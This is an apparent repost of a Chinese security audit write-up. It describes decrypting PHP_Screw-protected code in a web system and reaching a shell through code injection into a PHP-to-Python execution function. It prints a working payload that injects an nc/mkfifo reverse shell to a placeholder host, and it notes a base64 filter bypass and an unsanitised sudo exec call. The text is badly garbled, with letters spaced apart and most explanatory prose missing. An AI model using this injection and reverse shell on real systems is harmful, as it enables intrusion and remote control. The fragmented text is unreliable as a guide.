[14245] 2019-06-18_审计某系统从解密到GetShell

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2019-06-18_审计某系统从解密到GetShell G e t S h e l l J r D w w w   F r e e B u f   2 0 1 9 - 0 6 - 1 8 P H P P M 9 S C R E W 使 P H P _ S c r e w P H P P H P k e y k e y 使 . s o h t t p s : / / w w w . s k a c t o r . t k / 2 0 1 8 / 0 3 / 2 6 / p h p - s c r e w % E 7 % 9 A % 8 4 % E 5 % 8 A % A 0 % E 5 % A F % 8 6 % E 5 % 9 2 % 8 C % E 8 % A 7 % A 3 % E 5 % A F % 8 6 % E 6 % 8 E % A 2 % E 7 % A 9 % B 6 % E F % B C % 8 8 % E 4 % B A % 8 C % E F % B C % 8 9 % E 8 % A 7 % A 3 % E 5 % A F % 8 6 % E 7 % A E % 9 7 % E 6 % B 3 % 9 5 % E 4 % B 8 % 8 E p y t h o n % E 5 % A E % 9 E % E 7 % 8 E % B 0 / h t t p s : / / g i t h u b . c o m / f i r e b r o o / s c r e w _ d e c o d e . s o I D A p m 9 s c r e w
h e x 使 使 线 b l o g p h p 使 . s o
# i n d e x . p h p < ? @ s e s s i o n _ s t a r t ( ) ; $ s i d   =   s e s s i o n _ i d ( ) ; @ s e s s i o n _ d e s t r o y ( ) ; $ C O N F I G [ " i m g " ]   =   t r u e ; $ C O N F I G [ " n o m a s t e r " ]   =   t r u e ; $ C O N F I G [ " n o t _ h t t p _ r e f e r e r " ]   =   t r u e ; 1 r e q u i r e _ o n c e ( " i n c l u d e / c o m m o n . p h p " ) ; r e q u i r e _ o n c e ( " i n c l u d e / V a l i d a t e . p h p " ) ; r e q u i r e ( ' i n c l u d e / i n t e g r i t y . p h p ' ) ;
使 p h p 使 M V C c h e c k _ p e r m g e t s h e l l s q l x s s r e f e r e r c s r f p h p p y t h o n g e t s h e l l p r o c _ o p e n p y t h o n 5 . 4 . 0 5 . 4 . 0 G E T P O S T C o o k i e p a s s w o r d p h p $ r e q _ p a s s w o r d 便 g e t s h e l l p y t h o n s h e l l p a y l o a d p y t h o n 使 t r i c k < ? P H P r e q u i r e _ o n c e ( " i n c l u d e / c o m m o n . p h p " ) ; c h e c k _ p e r m ( " a d m i n " ) ; $ C O N F I G c o m m o n . p h p f u n c t i o n   p y t h o n _ e x e c ( $ c o d e )   {         $ d e s c s   =   a r r a y ( ) ;         $ d e s c s [ 0 ]   =   a r r a y ( " p i p e " ,   " r " ) ;         $ d e s c s [ 1 ]   =   a r r a y ( " p i p e " ,   " w " ) ;         $ d e s c s [ 2 ]   =   a r r a y ( " p i p e " ,   " w " ) ;         i f   ( i s _ a r r a y ( $ c o d e ) )   $ c o d e   =   j o i n ( " n " ,   $ c o d e ) ;         $ p   =   p r o c _ o p e n ( " / u s r / b i n / p y t h o n 2 . 6   - " ,   $ d e s c s ,   $ p i p e s ) ;         f p u t s ( $ p i p e s [ 0 ] ,   $ c o d e ) ;         f c l o s e ( $ p i p e s [ 0 ] ) ;         $ s t d o u t   =   s t r e a m _ g e t _ c o n t e n t s ( $ p i p e s [ 1 ] ) ;         $ s t d e r r   =   s t r e a m _ g e t _ c o n t e n t s ( $ p i p e s [ 2 ] ) ;         $ r e s u l t   =   p r o c _ c l o s e ( $ p ) ;         r e t u r n   a r r a y ( $ r e s u l t ,   $ s t d o u t ,   $ s t d e r r ) ; } c o m m o n . p h p i m p o r t _ r e q u e s t _ v a r i a b l e s ( " G P " ,   " r e q _ " ) ;   # G P G E T P O S T r e q _ r e q _ $ s a f e _ r e q   =   " p a s s w o r d   c r y p t _ p a s s w d   " ; # s a f e _ r e q i f   ( ! i s s e t ( $ C O N F I G [ " s a f e r e q " ] ) )   $ C O N F I G [ " s a f e r e q " ]     =   $ s a f e _ r e q ; e l s e   $ C O N F I G [ " s a f e r e q " ]   . =   "   "   .   $ s a f e _ r e q ; # $ C O N F I G [ " s a f e r e q " ] $ s a f e _ r e q $ C O N F I G [ " s a f e r e q " ]   =   a r r a y _ f i l t e r ( e x p l o d e ( "   " ,   $ C O N F I G [ " s a f e r e q " ] ) ) ; # f o r e a c h   ( $ _ R E Q U E S T   a s   $ k = > $ v )   {           i f   ( ! i n _ a r r a y ( $ k ,   $ C O N F I G [ " s a f e r e q " ] ) )   {                 $ _   =   " r e q _ $ k " ;                 $ $ _   =   p r e g _ r e p l a c e ( ' # [ < > ' " / & * ; ] # ' ,   " " ,   $ v ) ;   #           } } i m p o r t _ r e q u e s t _ v a r i a b l e s ( ) e x t r a c t ( ) c r y p t _ p a s s w d                 $ c o d e   =   a r r a y ( " # - * -   c o d i n g :   u t f - 8   - * - " ) ;                 $ c o d e [ ]   =   " f r o m   s h t e r m . c r y p t   i m p o r t   z i p _ c i p h e r " ;                 $ c o d e [ ]   =   " p r i n t   z i p _ c i p h e r . e n c r y p t ( ' $ r e q _ c r y p t _ p a s s w d ' ) " ;                 l i s t ( $ r e s u l t ,   $ s e c r e t ,   $ s t d e r r )   =   p y t h o n _ e x e c ( $ c o d e ) ; $ r e q _ p g p _ p u b k e y p g p _ p u b k e y p g p _ p u b k e y $ s a f e _ r e q 1 2 3 ' ) ; i m p o r t   o s ; o s . p o p e n ( ' r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   x x x . x x x . x x x . x x x   1 2 3 4 5   > / t m p / f ' ) # ;
g e t s h e l l b y p a s s g e t s h e l l p a y l o a d s h e l l b a s e 6 4 p a y l o a d s h e l l $ t y p e   =   $ r e q _ t y p e ; $ a c t i o n   =   $ r e q _ a c t i o n ; $ o u t p u t   =   a r r a y ( ) ; i f   ( $ t y p e   = =   " m o d e " )   {         e x e c ( " s u d o   / u s r / l i b e x e c / s h t e r m / c l u s t e r c t l   d r s y n c - m o d e   $ a c t i o n " ,   $ o u t p u t ,   $ r ) ; } $ r e q _ t y p e $ r e q _ a c t i o n t y p e a c t i o n s a f e _ r e q # [ < > ' " / & * ; ] # | - | - |
* J r D w w w F r e e B u f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则